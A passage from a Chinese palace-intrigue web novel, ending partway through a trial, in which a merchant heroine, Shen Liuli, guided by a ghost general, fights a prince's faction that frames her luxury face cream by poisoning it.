工部侍郎和京兆府尹,更是亲自带着礼物,到尚书府登门“赔罪”,只说是一场“误会”,是底下的人办事不力,他们回去一定严加管教。
一场看似无解的政治打压,就这么,被沈琉璃用一本手抄的《金刚经》和一盒“玉容膏”,在谈笑间,化解于无形。
君北玄在她脑中,彻底没了声音。
他发现,这个女人的战争方式,他或许一辈子都学不会,但他知道,作为盟友,他押对宝了。
“玉容阁”,在万众瞩目之下,于一个秋高气爽的吉日,悄然揭开了它神秘的面纱。
没有盛大的开业典礼,没有喧天的锣鼓。
它只是,安静地,打开了那扇由整块金丝楠木雕成的月亮门。
然而,这扇门,并非为所有人敞开。
开业当天,只对那五十位,收到了邀请函,并缴纳了一千两白银年费的顶级会员开放。
朱雀大街上,无数辆华丽的马车停靠在远处,车帘后,一双双充满了羡慕、嫉妒、与好奇的眼睛,注视着那些有资格步入“玉容阁”的尊贵身影。
而阁楼之内,早已是另一番天地。
潺潺的流水声,伴随着悠扬的古琴,在空气中静静流淌。每一位会员,都由一名训练有素的侍女,奉上独家的养生花茶与精致茶点。
这里的一切,都在无声地,向这些乾国最顶级的贵妇们,诠释着什么叫做真正的“尊贵”。
沈琉璃今日,也换上了一身素雅却不失华贵的长裙,她没有以主人的身份自居,而是像一位普通的客人,穿梭在各个雅间,与相熟的夫人们,轻声寒暄。
然而,总有不和谐的声音,会打破这份美好。
“哟,我当是谁呢?这不是我们尚书府的沈大小姐吗?”
一个尖酸刻薄的声音,从不远处传来。
沈琉璃回头,只见苏晚晚正被一群贵女簇拥着,脸上充满了优越感的笑容,朝她走了过来。
“真是没想到,会在这里,看到沈姐姐你。”苏晚晚上下打量着沈琉璃,那眼神,就像是在审视一件不该出现在这里的廉价商品,“我听说,‘玉容阁’的会员资格,可是千金难求呢。看来,沈姐姐为了能挤进这个圈子,也是下了血本了。”
她身后的几个贵女,立刻发出了窃笑。
春桃气得脸都红了,正要上前理论,却被沈琉璃一个眼神制止了。
沈琉璃微微一笑,语气平静:“能得‘玉容阁’主人的青睐,确是琉璃的福气。”
“福气?”苏晚晚嗤笑一声,声音不大,却足以让周围的人都听见,“只怕,这份‘福气’,不好消受吧?毕竟,这一千两银子的年费,对我们来说,不过是几件首饰的钱。可对沈家……怕不是要动用姐姐你未来的嫁妆了吧?”
她就是要当着所有人的面,点明沈琉璃“打肿脸充胖子”的事实。
“用嫁妆来交会费,只为能和我们坐在一起喝杯茶。沈姐姐,你这份心意,真是让人‘感动’啊。”
“你!”春桃气得浑身发抖。
“无妨。”沈琉璃看着苏晚晚,眼神中甚至带上了几分怜悯。
就在苏晚晚洋洋自得的时候……
“——‘四海珍宝阁’,刘掌柜,到!”
第17章 打脸
刘掌柜?!
苏晚晚脸上的笑容,瞬间凝固了,她有些不敢置信地看向门口。
那可是“四海珍宝阁”的总掌柜!在整个乾国都城,跺一跺脚,商界都要抖三抖的人物!他怎么会来这里?
在众人惊疑不定的目光中,只见刘掌柜亲自捧着一个紫檀木打造的礼盒,快步走了进来。
他目不斜视,无视了所有人惊讶的目光,径直穿过人群,走到了沈琉璃的面前,恭恭敬敬地行了一个大礼。
“刘福,见过玉容阁阁主!”
他的声音,洪亮而清晰,响彻了整个大厅。
“恭贺东家‘玉容阁’开业大吉!生意兴隆,财源广进!”他将手中的贺礼,高高举起,“这是鄙人的一点心意,不成敬意!另外,关于下一次‘玉容膏’的拍卖会,小店都已安排妥当,只等东家您定下日期!”
他顿了顿,又补充道:“如今,全城的客人都对那拍卖会望眼欲穿呢。您这招‘会员专享月供,非会员季度拍卖’的策略,真是神来之笔!老夫做了一辈子生意,对您是彻底服了!”
整个大厅,所有人的目光,都如同见了鬼一般,在刘掌柜和沈琉璃之间,来回扫视。
东家?
拍卖会?
这……这一切的幕后主人,竟是沈琉璃?!
苏晚晚的脸,瞬间血色尽褪,变得比她身上擦的香粉,还要白。她感觉自己像是一个倾尽所有的小丑,刚刚竟然还在肆意嘲笑他人!
她感觉,自己脸上,正被一只无形的手,用尽全力地来回扇着耳光。
火辣辣地疼。
然而,就在开业的喜悦还未散去之时,一个不速之客,却悄然来访。
来人,是从宫里来的一个小太监,瞅着眼生。他没有通传,只是在门口,将一个包裹严实的小盒子,交给了春桃,并留下了一句话。
“我家主子说,恭贺沈大小姐开业大吉,这份贺礼,不成敬意。”
春桃将盒子呈给沈琉璃。
沈琉璃打开一看,里面没有金银,没有珠宝,只有一盆造型奇特的仙人掌。
而在盆栽的底下,压着一张字条,字迹清秀飘逸,内容只有一个字:
“裕”。
乾国大皇子,李裕。
他,终于亲自下场了。
“小姐,这……这是大皇子在威胁您啊!”春桃看着那盆张牙舞爪的仙人掌,吓得小脸发白,“他这是在骂您是带刺的怪物吗,怎么办,要不要告诉老爷?”
沈琉璃没有说话,她只是伸出手,小心翼翼地,用指尖轻轻触碰了一下仙人掌那最锋利的尖刺。
细微的刺痛传来,让她瞬间清醒。
“不,他不是在骂我。”她轻声说道,眼中却闪烁着冰冷的光芒,“他是在‘夸’我。”
“夸您?”春桃更不解了。
“没错。”君北玄的声音,带着凝重,在她脑中响起,“他在告诉你,他已经看穿了你并非善类,这盆仙人掌,有两个意思:第一,是在嘲讽你的‘玉容阁’,看似高雅,实则如同这仙人掌一样,上不了真正的台面;第二,也是在警告你,仙人掌虽然带刺,能扎人,但终究也只是盆栽,能轻易地被人,连根拔起!”
君北玄的分析,一针见血。
沈琉璃完全明白了。
李裕这封信,这份礼,是一封充满了轻蔑的战书。
他看穿了她之前所有的小动作,但他,并没有把她放在眼里。在他看来,她不过是一只稍微有些扎手,但可以随时碾死的小虫子。
“好一个大皇子。”沈琉璃冷笑一声。
“他既然已经宣战,我们便不能示弱。”君北玄立刻进入了“作战状态”,“本王认为,我们立刻反击。现在就派人去查,大皇子名下有哪些产业,与哪些官员往来过密,找到他的痛处,给他来一次‘斩首行动’!”
这是一个将军的思维,直接、凌厉,讲究一击致命。
“不行。”沈琉璃想也不想,便否决了,“王爷,你是不是忘了,我现在只是一个‘商人’。一个商人,去调查当朝大皇子,这不叫反击,这叫自寻死路,他正愁抓不到我的把柄呢!”
“那难道就坐以待毙?”君北玄的语气充满了不耐,“这也不行,那也不行,你们女人的想法,真是婆婆妈妈,毫无章法!”
“谁说我要坐以待毙了?”沈琉璃白了他一眼,在心里回敬道,“将军,你的兵法,讲究的是‘以正合,以奇胜’。正面战场,我自然不是大皇子的对手,所以,我就要用‘奇’。”
她顿了顿,眼中闪过几分光芒:“他不是觉得,我是个只知道赚钱的‘小商人’,不配当他的对手吗?那我就找一个配得上当他对手的人,来跟他玩。”
“你的意思是,三皇子李琰?”
“没错。”沈琉璃的思路,在这一刻,变得无比清晰,“大皇子看不起我,但他绝不敢看不起自己的亲弟弟。我要做的,不是自己冲上战场,而是为我的‘盟友’,送上最锋利的武器,让他去冲锋陷阵。”
她要将大皇子这份充满了威胁的“贺礼”,变成她送给表哥的“投名状”!
她要让李琰清清楚楚地看到,大皇子已经将屠刀,对准了整个沈家,对准了他这位三皇子唯一的母族外戚。他们,早已是唇亡齿寒的共同体,再无任何退路!
当晚,沈琉璃便借着夜色,秘密来到了三皇子李琰的府邸。
这是她第一次,以“盟友”而非“表妹”的身份,来见这位处境艰难的皇子。
书房内,当李琰看到那盆仙人掌,还有那张写着“裕”字的字条时,他那张温润的脸上,瞬间布满了寒霜。
“他这是在向整个沈家宣战!”李琰一拳砸在了桌上,声音里充满了压抑的怒火。
“不,表哥,你错了。”沈琉璃看着他,平静地说道,“他不是在向沈家宣战,他是在向你宣战。”
李琰猛地抬起头,看向自己这位似乎在一夜之间,就脱胎换骨的表妹。
“表哥,”沈琉璃一字一顿,眼神坚定得可怕,“现在,我们是一条船上的人了,告诉我,你想不想把他从‘储君’的大船上,拉下来?”
李琰看着眼前的沈琉璃,心中掀起了滔天巨浪。
他从未想过,自己这位一向柔弱的表妹,眼中竟能迸发出如此惊人的光芒。
“拉他下来?”李琰苦笑一声,摇了摇头,“表妹,你有所不知,大哥他在朝中的势力,早已根深蒂固。无论是六部九卿,还是地方大员,都有他的人,我拿什么跟他斗?”
“你没有,但我有。”沈琉璃平静地说道。
她从袖中,取出了一张银票,轻轻地,放在了李琰的面前。
李琰的瞳孔,骤然收缩。
“这……”
“这是我的一点心意,也是我这个‘盟友’,送给你的第一份军备。”沈琉璃的声音不大,却充满了力量,“用它,去收买那些可以收买的人,去结交那些值得结交的官。表哥,钱我来出,而你需要做的,是在朝堂上,为你自己,也为我们沈家,撑起一把足够结实的伞。”
李琰看着那张银票,又看了看沈琉璃那双坚定的眼睛,心中百感交集。
他沉默了许久,最终,缓缓地,将那张银票推了回去。
“表妹,你的心意我领了。”他沉声说道,“但这笔钱我不能收,我要的不是你的钱,而是你的智慧。”
“哦?”沈琉璃有些意外。
“没错。”李琰的眼中,也燃起了昂扬的斗志,“大哥他势大,不假,但他有一个致命的弱点。他太顺了,也太傲了,他看不起我,更看不起你。他绝不会想到,我们会联手,这就是我们最大的机会!”
“那你的计划是?”
“以退为进,避其锋芒。”李琰说道,“我们暂时,不要去动大哥本人,而是要先剪除他身边,那些碍事的走狗!”
“苏振。”沈琉璃立刻说出了这个名字。
“对!”李琰点了点头,“就是苏振,他是大哥在朝堂上,最会咬人的一条狗,只要我们能抓住他的把柄,将他扳倒,就等于斩断了大哥的一条臂膀!”
“可苏振此人,老奸巨猾,行事滴水不漏,要抓他的把柄,谈何容易?”沈琉璃皱起了眉头。
“不,他有破绽。”君北玄的声音,忽然在她脑中响起,“任何一个看似完美的堡垒,都有它最薄弱的一环。问你表哥,苏振最近,在负责什么差事?”
沈琉璃立刻照做。
李琰想了想,说道:“他最近,最重要的一件差事,便是奉了父皇的旨意,在筹办一个月后的‘皇家冬猎’。此事事关皇家脸面,所有采办、营造、乃至安防,都由他一手经办。”
“皇家冬猎……”君北玄在她脑中,冷笑一声,“那不是他的‘功劳簿’,那是他的‘催命符’。”
“什么意思?”沈琉璃不解。
“一场皇家围猎,看似是游玩,实则是天子亲临的‘野战演习’。其中,最重要的,不是猎物,不是排场,而是万无一失的‘安防’!”君北玄用他丰富的经验,一针见血地指出了问题的核心,“一个贪功冒进、又想中饱私囊的蠢货,在安防上必然会为了省钱省事,留有漏洞!让你表哥,想办法弄到这次冬猎的布防图!”
沈琉璃立刻将君北玄的分析,用自己的语言转述给了李琰。
李琰听完,眼中一亮:“没错!此事由苏振全权负责,他为人好大喜功,必然会将所有精力,都放在营造和采办的表面功夫上,安防一事定会疏忽!好!我立刻派人去弄到那份图纸!”
第18章 冬猎大典
三日后,一份极其详尽的安防图,便秘密地送到了沈琉璃的手中。
当晚,晚晴居内,灯火通明,沈琉璃将图纸平铺在桌上。
君北玄,这位曾经的“北境之王”,便成了她最专业的“军事参谋”,为她逐寸逐寸地分析着上面的每一个细节。
“你看这里,”君北玄的声音,充满了猎手的兴奋,“西山,‘一线天’山谷,他竟将此处,列为了‘安全区’,只安排了少量护卫巡逻。他不知道,这种地形三面环山,只有一线天光,最易藏匿猛兽!”
“你的意思是……”
“我们,就在这里,为大皇子,准备一份终身难忘的‘大礼’吧。”君北玄冷冷道。
一个大胆而周密的计划,在一人一鬼的商议中,迅速成型。
接下来的几日,乾国京城,表面上风平浪静。
沈琉璃的“玉容阁”,还是维持着它那铁打的规矩,五十个创始会员的名额,绝不增加。每到月初,贵妇们派来的下人便会将那每月两盒的“玉容膏”悄然提走,引来门外无数艳羡的目光。
而“玉容阁”真正的骚动,来自于让全城为之疯狂的拍卖机制。根据新规,每个月都会有十盒玉容膏进行公开拍卖,让那些无法成为会员的女子,得到一个公平竞争的机会。
但这,不过是开胃小菜,真正让所有人抢破头的,是每个季度拍卖的十个新的“玉容阁”会员资格!
一个,是价值千金的“体验卡”;另一个,则是通往美丽与权力之巅的“入场券”。因此,每一次的拍卖会,其激烈程度远超当初,彻底演变成了乾国都城,最残酷的身份争夺战。
而三皇子李琰,则还是那么低调,每日只是读书、会友,仿佛早已忘了与大哥的争斗。
冬猎大典,如期而至。
京郊的皇家猎苑,旌旗招展,戒备森严。乾国皇帝,带领着文武百官和皇子们,在此处尽享狩猎之乐。
作为此次冬猎的总负责人,前不久刚被责罚过的苏振,为了将功补过,可谓是费尽了心血,他处处安排得妥妥当当,将皇帝伺候得龙心大悦,似乎已经有了官复原职的希望。
午后的围猎,更是将气氛推向了高潮。
大皇子李裕一马当先,箭无虚发,他甚至猎到了一只极其罕见的白狐,引来了满堂喝彩。他意气风发,享受着众人崇拜的目光,为了进一步展现自己的勇武,他选择了一条更具挑战性的山路,去追寻传说中的“鹿王”。
“他进去了。”
在后方的营地里,正与几位贵女品茶的沈琉璃,从一个前来添水的丫鬟那里得到了这个讯息。
“好。”君北玄在她脑中,用一种兴奋的语气说道,“我们的人已经按吩咐,将那头吊睛白额虎,从它的巢穴里‘请’了出来。现在,就看你们那位大皇子和他那群护卫的造化了。”
……
“一线天”山谷内,大皇子李裕正策马扬鞭,寻找着“鹿王”的踪迹。
忽然,一股腥臊的狂风,从林中卷来!
紧接着,一声足以震慑山林的虎啸,轰然炸响!
一头体型大到超乎想象的吊睛白额猛虎,带着无边的煞气,从密林中猛地窜了出来,直扑马上的大皇子!
“有……有老虎!护驾!快护驾!”
大皇子身边的护卫们,瞬间阵脚大乱!他们何曾见过如此凶猛的野兽?平日里的那点三脚猫功夫,在这头真正的“兽王”面前,简直不堪一击!
大皇子本人,更是吓得脸色惨白,几乎要从马上摔下来!
就在这千钧一发之际!
“大哥莫慌!我来救你!”
三皇子李琰骑着马,竟不知何时出现在了谷口!
只见他身边的几名护卫,没有丝毫慌乱,瞬间组成了一个“防御阵型”,手中的弓弩更是精准地射向了猛虎的眼睛!
猛虎吃痛,变得更加狂暴!它放弃了大皇子,转而朝着李琰猛扑而来!
“殿下小心!”
一名护卫竟不顾个人安危,飞身而起,用自己的身体硬生生替李琰挡住了猛虎那致命的一扑!
最终,在付出了一名护卫“重伤”的代价后,这头不可一世的猛虎,终于被众人合力斩杀。
当皇帝和文武百官闻讯赶到时,看到的便是这样一幅景象:
大皇子李裕,衣衫不整,狼狈不堪,脸上满是惊魂未定。
而三皇子李琰,则镇定自若地指挥着手下,为“受伤”的护卫包扎,脸上还带着决然的神情,仿佛救下兄长是作为兄弟义不容辞的事情。
皇帝君宏德看着眼前这戏剧性的一幕,脸色阴沉到了极点。
他没有去看那头死去的猛虎,也没有去安慰那个受了惊吓的长子。
他的目光,如同两把利剑,死死地盯住了那个早已吓得跪倒在地的苏振、苏大人。
“苏爱卿。”皇帝的声音,冰冷得不带一点温度。
“朕的皇家猎苑,朕的脚下竟会出现此等凶兽,险些伤了朕的皇子。”
“你作为此次冬猎的总负责人,可能为朕解释一下?”
皇帝的声音不高,却带着雷霆万钧之势,压得在场所有人都喘不过气来。
所有人都知道,苏振完了。
“护驾不力,致使皇子遇险”,这是足以让任何一个臣子满门抄斩的大罪,谁也救不了他。
苏振趴在地上,身体抖如筛糠,他能感觉到皇帝那毫不掩饰的杀意。他知道自己若只是一味求饶,今日必死无疑!
求生,是所有生物的本能,而对于苏振这种在官场中浸淫了一辈子的老狐狸来说,这种本能更是被磨炼到了极致。
他没有求饶,反而猛地抬起头,声嘶力竭地喊道:
“陛下!此事有诈!这不是意外!这是一场针对我乾国皇室的刺杀啊!”
此言一出,满座皆惊!连正准备看好戏的三皇子李琰都愣住了!
“刺杀?”皇帝的眉头,紧紧地锁了起来。
“没错!”苏振仿佛抓住了一根救命稻草,他连滚带爬地,冲到了那头早已死去的猛虎旁,不顾血污,竟亲手在那猛虎的耳朵中摸出一枚金属耳钉!
“陛下,请看!”苏振的声音,因激动而颤抖,“此物绝非我乾国所有!这上面,刻的是蛮族特有的‘战狼’图腾!这头猛虎根本不是普通的野兽,它是蛮人用秘法豢养的战兽!”
他将那枚小小的耳钉,呈给了皇帝身边的禁军统领。
禁军统领仔细查验后,脸色凝重地对皇帝点了点头。
苏振继续他对着皇帝,重重地磕头,声泪俱下:“陛下!臣罪该万死!臣未曾想,那蛮族奸细竟会用此等闻所未闻的手段,将战兽悄悄放入皇家猎苑!其目的,就是为了刺杀我朝皇子,挑起我朝内乱啊!”
“是臣……是臣失察了!是臣低估了敌人的歹毒!请陛下降罪!”
好一招“祸水东引”!好一招“李代桃僵”!
他巧妙地将自己的“失职之罪”偷换概念,变成了“未能识破敌国惊天阴谋”的“失察之过”!
前者,是死罪,而后者,虽然也有罪,但罪不至死!
“这个老狐狸……”沈琉璃在后方营地里,听着探子带回来的实时消息,忍不住,在心中冷冷地骂了一句。
她知道,这次怕是杀不了他了。
果然,皇帝君宏德在看到那枚蛮族耳钉后,那原本充满了杀意的脸色,缓缓地平复了下来。
他当然不全信苏振的鬼话,但他知道,这个解释对整个乾国皇室而言,是眼下最好的一个台阶。
承认自己的皇家猎苑安保有巨大疏漏,远不如去揭穿一个敌国的惊天阴谋,更能保全皇家的脸面。
“哼。”最终,皇帝冷哼一声。
“蛮族小儿,欺人太甚!”他将所有的怒火,都成功地转移到了那个虚无缥缈的“敌人”身上。
随即,他才重新看向跪在地上的苏振,冷冷地说道:“苏振,你身为总负责人,难辞‘监管失察’之罪!朕罚你……”
他顿了顿,所有人都屏住了呼吸。
“……罚俸三年,好生在家中,给朕闭门思过!”
这个处罚,看似严厉,实则高高抬起,轻轻放下。
苏振,再一次从鬼门关前,硬生生地爬了回来。
他虽然元气大伤,官职被降,但只要人还在,只要大皇子不倒,他就有东山再起的机会!
一场足以将他打入地狱的风暴,就这么被他给硬生生扛了过去。
回到尚书府的马车上,春桃气得直跺脚。
“小姐,太便宜那个老狐狸了,他明明就是主谋,结果只罚了点俸禄,降了点官,这也太不公平了!”
“公平?”沈琉璃看着窗外倒退的夜景,脸上没有什么表情,“春桃,你记住,在权力的游戏中,从来就没有绝对的公平。”
“那……那我们就这么算了?”春桃不甘心地问。
“算了?”君北玄的声音,带着讥讽,在沈琉璃脑中响起,“你这丫鬟,真是天真。”
沈琉璃微微一笑:“我当然不会就这么算了。”
“那您打算怎么办?”
“他不是喜欢玩‘釜底抽薪’吗?”沈琉璃的眼中,闪过寒光,“那下一次,我就让他尝尝,什么叫真正的家破人亡。”
她知道,苏振这条线,暂时已经打不动了,而她真正的敌人,大皇子李裕,从始至终,都毫发无伤。
想要扳倒他们,她需要更强的力量,更多的财富,以及更完美的时机。
第19章 有毒的药膏
“忠叔,”她对着车外,轻声吩咐道,“传我的话给‘四海珍宝阁’的刘掌柜。”
“就说,一个月后,我们将举行第二场‘玉容膏’拍卖会。这一次,不仅有玉容膏,我们还将推出一款全新的‘玉容精华露’。”
“我要让整个京城的女人,再一次,为之疯狂。”
她要用敌人最看不起的“玩意儿”,来积攒足以颠覆整个“世界”的力量!
沈琉璃要举办第二场拍卖会的消息,如同一颗巨石,再次砸进了京城的社交圈。
而那款据说效果比“玉容膏”还要强的“玉容精华露”,更是像一剂最猛烈的春药,让全城的贵妇们,彻底陷入了疯狂。
上一次,她们争的是“脸面”;而这一次,她们争的,是“不老”的传说。
四海珍宝阁的门槛,再一次被踏破。无数的金银,被提前送到了刘掌柜的账上,只为了能预定一个能参与竞价的席位。
整个京城,都沉浸在一种对“美”的期待之中。
然而,在这片繁华的背后,一个恶毒的阴谋也正在悄然酝酿。
大皇子府,书房内。
礼部侍郎苏振,正一脸谄媚地,对大皇子李裕汇报着什么。
“殿下,您这招‘釜底抽薪’,实在是高!”苏振的脸上,充满了阴狠,“那沈琉璃自以为聪明,想用这小女人的玩意儿来敛财。她却不知,捧得越高摔下来的时候就会越惨!”
李裕端起茶杯,慢悠悠地吹了吹浮沫,脸上挂着智珠在握的笑容。
“一个小丫头,就算有几分小聪明,又怎能与孤斗?”他淡淡地说道,“她以为,她赢了冬猎那一局?可笑!真正的杀招,现在才刚刚开始。”
“都安排好了吗?”他问道。
“回殿下,都安排好了。”苏振连忙躬身道,脸上露出了得意的笑容,“微臣去‘探望’了一下,我们那位因为‘玉容膏’而生意惨淡的的钱夫人。”
他压低声音,继续说道:“微臣给了她一个选择,要么眼睁睁地看着自己的百年老店倒闭;要么,就替我们办好这件事。微臣承诺她,事成之后,不仅会扶持她的‘百花阁’东山再起,更会让她成为京城唯一的‘美妆’皇商。”
“很好。”李裕满意地点了点头,“让她们女人去斗女人,我们只需要在背后,看着她们自相残杀就好。”
苏振继续汇报道:“钱夫人已经动手了,她通过我们提供的渠道,高价回购了五盒玉容膏,并已将淬了毒的膏体,交给了城南‘怡红院’的老鸨和几个我们选好的破落家庭的小姐。”
“记住,毒要下得隐秘,要下得恰到好处,既要让她们的脸溃烂得足够吓人,又不能真的要了她们的命。孤要的不是几条人命,而是要让‘玉容膏’和‘天下第一毒’这个名号,永远地绑在一起!”李裕叮嘱道。
“殿下放心,微臣已经将您的意思,原原本本地传达给了钱夫人。她办事,您放心!”苏振的脸上,露出了毒蛇般的笑容。
他知道,只要这个计划成功,沈琉璃这个小贱人,连同她背后那个三皇子,都将陷入万劫不复的境地!
又是一个月后。
第二场拍卖会,在万众期待中,盛大开幕。
其火爆程度,比第一次,有过之而无不及。
尤其是那作为压轴品出现的三瓶“玉容精华露”,更是引发了天价的争夺。最终,每一瓶,都以不低于八千两白银的价格,被几位最顶级的权贵夫人,收入囊中。
沈琉璃的财富,以一种恐怖的速度累积着。而她,似乎完全沉浸在了这种成功的喜悦中,对即将到来的危机,毫无察觉。
拍卖会结束后的第三天。
一个惊天动地的消息,如同瘟疫一般,瞬间传遍了整个京城。
——“玉容膏,是毒药!”
城南最大的青楼“怡红院”中,以花魁红玉为首的七八名当红姑娘,在一夜之间,脸上都出现了极其恐怖的红色脓疮。整个脸,几乎完全溃烂,面目全非!
紧接着,又有好几位家道中落的贵族小姐,也出现了同样的症状。
她们唯一的共同点,就是通过各种渠道,高价购得,并使用了“玉容膏”!
一时间,全城哗然!
那些曾为“玉容膏”一掷千金的贵妇们,人人自危,纷纷将家中私藏的神膏,视为蛇蝎,避之不及。
“玉容膏”这三个字,从人人追捧的“神物”,瞬间变成了人人谈之色变的“毒药”!
而就在舆论发酵到顶点的时刻,苏振联合了十几位御史,再次上奏!
他们以“奸商谋财害命,动摇京城安稳”为由,强烈要求皇帝,彻查此事!
这一次,他们有“人证”,有“物证”,声势浩大,无可辩驳!
皇帝龙颜大怒,当即下旨,命京兆府、大理寺、御史台,三司会审。并下令,立刻查封“四海珍宝阁”中所有与“玉容膏”相关的账目!
一场针对沈琉璃商业帝国的围剿,正式展开!
“小姐,不好了,不好了!”
春桃连滚带爬地冲进晚晴居,脸上没有一点血色,“官府的人来了,把‘四海珍宝阁’给封了,还要来我们府里,说是要传唤您去三司会审!”
晚晴居内,一片死寂。
忠叔等一众心腹,也都聚集在此,每个人的脸上,都写满了恐惧。
唯有沈琉璃,依旧静静地坐在窗前,慢条斯理地,为自己沏了一杯茶。
她的手,很稳,稳得,没有一丝一毫的颤抖。
“这么快,就图穷匕见了。”她端起茶杯,轻轻吹了吹热气,轻声说道,仿佛在说一件与自己毫不相干的事。
“本王早就说过,商场,就是没有硝烟的战场。”君北玄在她脑中,冷冷地说道,“你的敌人,比你想象的要狠得多,她们不仅要你的钱,更要你的命。”
“我知道。”沈琉璃点了点头,“这一局,确实是我输了,我低估了大皇子李裕的狠毒。”
“现在说这些,还有何用?”君北玄的语气,充满了军人特有的冷静,“事已至此,你打算如何应对?是弃车保帅,还是你有更好的办法?”
“不。”沈琉璃摇了摇头,“我从不习惯把自己的责任,推到别人头上。”
她站起身,看着窗外那些已经将尚书府隐隐包围起来的官差,缓缓的说道:“他们不是想审我吗,不是想看我身败名裂吗?”
“那我就给他们这个机会。”
“你要亲自去?”君北玄的声音充满了震惊,“你疯了?现在所有的人证物证,都对你极为不利。你一旦去了,就等于是自投罗网,他们有一百种方法,可以将你屈打成招,将这桩案子,办成铁案!”
“那又如何?”沈琉璃反问道,脸上竟露出了笑容。
“君北玄,我问你,一个案子,在什么时候,最引人注目?”
“自然是,审判之时。”
“没错。”沈琉璃点了点头,“他们为我搭了这么大一个戏台,请了全天下的百姓来当观众。我若是不亲自上台,去唱一出大戏,岂不是太辜负他们这份苦心了?”
她转头,对早已吓傻了的春桃,下达了一连串的指令。
“春桃,去,把我那件由大徽皇后亲赐的宫装,给我拿出来。”
“再去,将我们的‘玉容膏’,取十瓶来。”
“最后,”她的眼中,闪烁着慧黠的光芒,“你附耳过来,我有一件最重要的事,要你去做……”
半个时辰后,尚书府大门,缓缓打开。
沈琉璃身着华丽的宫装,面容平静,仪态万方。在所有人的注视下,一步一步,走上了那辆由大理寺派来的马车。
她没有反抗,没有挣扎,甚至没有任何恐惧。
她的脸上,反而带着一种义无反顾的决然。
她知道,这是她人生中最危险的一场豪赌。
赌输了,万劫不复。
赌赢了,她将一步登天,彻底封神!
大理寺公堂,今日门前,人声鼎沸。
与寻常案件不同,今日这场审判,因牵涉到大徽未来的太子妃和轰动全城的“玉容膏”,特许了百姓堂外旁听。
堂上,三司主审官——大理寺卿、刑部侍郎、御史中丞,皆是面色凝重,正襟危坐。而真正的“主审官”,则是坐在他们身旁,一脸“义愤填膺”的礼部侍郎,苏振。
堂下,跪着七八名用面纱遮着脸,不时发出呜咽之声的“受害者”。
当沈琉璃身着华丽宫装,从容不迫地走进公堂时,所有人的目光,都聚焦在了她的身上。
她没有丝毫狼狈,反而像一位即将登台的伶人,脸上带着一种令人捉摸不透的平静。
“大胆沈琉璃!”刑部侍郎惊堂木一拍,厉声喝道,“你可知罪?”
“不知。”沈琉璃微微一笑,答得云淡风轻。
“放肆!”刑部侍郎大怒,“现有受害者数人,皆因使用你那‘玉容膏’而容颜尽毁,人证物证俱在,你还敢狡辩?”
他说着,便让那几位“受害者”摘下了面纱。
“嘶——”
堂外,响起了一片倒吸冷气的声音,只见那几张脸上,布满了恐怖的红色脓疮,有些地方甚至已经开始溃烂,实在是惨不忍睹。
几个女子,当众便开始哭诉起来,声泪俱下地控诉着“玉容膏”是如何毁了她们的颜面。
一时间,群情激奋,所有人都对沈琉璃怒目而视。
看着眼前这一幕,站在主审官身旁的苏振,勾起了得意的冷笑。
他知道,这场仗,他赢了!
沈琉璃,插翅难飞!
第20章 赢得彻彻底底
公堂之上,一时间,群情激奋。
“妖女!蛇蝎心肠!”
“将她打入大牢!严刑拷打!”
无数的唾骂与指责,如同潮水一般,从四面八方朝着沈琉璃汹涌而来。
沈琉璃,没有后退,没有辩解。
她迎着那千万道鄙夷的目光,缓缓地走到了“受害者”面前。
“几位姐姐,莫哭。”她的声音,轻柔得像一阵春风,带着一种安抚人心的力量,“你们的遭遇,琉璃感同身受,心痛万分。”
她顿了顿,话锋一转,用一种只有她们几人能听见的音量,看似随意地问道:
“只是,琉璃有一事不明,敢问几位姐姐,你们这脸上的疮是不是每到午夜子时,便会奇痒无比,且带着一股钻心刺骨的疼痛?并且除了脸,你们的小腹和后腰,是否也会有阵阵寒意,如坠冰窟?”
此言一出,那几个哭得正起劲的女子,哭声戛然而止!
她们的脸上,露出了惊慌失措的表情!
因为,沈琉璃所说的症状,与她们这几日真实的感受一模一样,她们本以为只是普通的毒疮并发之症,却不想竟被她一语道破!
“你……你怎么知道!”一个年轻的舞姬,脱口而出。
“本王怎么知道?”君北玄的声音,在她脑中,充满了不屑,“这种下三滥的‘七日腐骨草’之毒,乃是军中审讯时,专门用来对付女子的手段。其毒性,会随着女子体内的阴气而加重,午夜子时,正是阴气最盛之时。这个蠢货,以为用毒药就能陷害你,却不知,在本王面前他不过是班门弄斧。”
沈琉璃心中了然,脸上依旧是一副悲天悯人的模样。
她没有回答那个舞姬的问题,而是站起身,面向三位主审官,朗声说道:
“回禀三位大人,民女,有办法,可以自证清白。”
“如何证明?”
“很简单。”沈琉璃的眼中,闪烁着自信的光芒,“民女的‘玉容膏’,不仅不是毒药。恰恰相反,它,正是这奇毒唯一的‘解药’!”
沈琉璃此言一出,整个公堂,再次哗然。
“一派胡言!”苏振第一个站出来,厉声驳斥,“沈琉璃,事到如今,你还想妖言惑众不成?你的‘玉容膏’是毒药,已是铁证如山,你竟还敢说它是解药,简直是滑天下之大稽!”
“是不是滑天下之大稽,一试便知。”沈琉璃毫不畏惧地迎上他的目光。
她转向三位主审官,不卑不亢地说道:“请大人恩准,容民女当堂一试,若不能证明民女所言,民女愿以性命,承担所有罪责!”
她竟要以性命做赌!
这份魄力,让在场所有人都为之动容。
三位主审官对视一眼,最终,大理寺卿缓缓点了点头:“准!”
“好!”沈琉璃朗声应道。
她转身,对早已等候在堂外的春桃,使了个眼色。
春桃立刻捧着一个锦盒,快步走了进来。
沈琉璃打开锦盒,里面整整齐齐地,摆放着十盒包装全新的“玉容膏”。
“在试验之前,为证我这膏体本身无毒,我需要一位勇敢的姑娘。”沈琉璃的目光,缓缓地扫过堂下旁听的众人。
堂下,一片寂静,谁也不敢拿自己的脸,去冒这个风险。
就在此时,一个所有人都意想不到的人,站了出来。
竟是苏晚晚!
她今日,也是来看沈琉璃笑话的,可当她看到沈琉璃那副镇定自若的模样时,她的心中,竟没来由地生出了不服。
“我来!”她咬了咬牙,从人群中走了出来。
“晚晚,胡闹!”苏振大惊失色。
“父亲,我自有分寸。”苏晚晚径直走到沈琉璃面前,高傲地一仰头,“我倒要看看,你葫芦里到底卖的什么药!”
“好。”沈琉璃赞许地点了点头。
她取过一盒全新的“玉容膏”,当着所有人的面,打开封蜡,用一根干净的银勺,取了一点,轻轻地涂抹在了苏晚晚的手背上。
膏体莹润,香气清雅。
一刻钟过去,半个时辰过去。
苏晚晚的手背光洁如初,甚至比之前还要细腻几分。
——膏体,无毒!
全场,响起了一片压抑不住的惊呼。
苏振的脸色,已经开始变得有些难看了。
“现在,该轮到几位姐姐了。”沈琉璃的目光,投向了那几个早已吓得不敢哭泣的“受害者”。
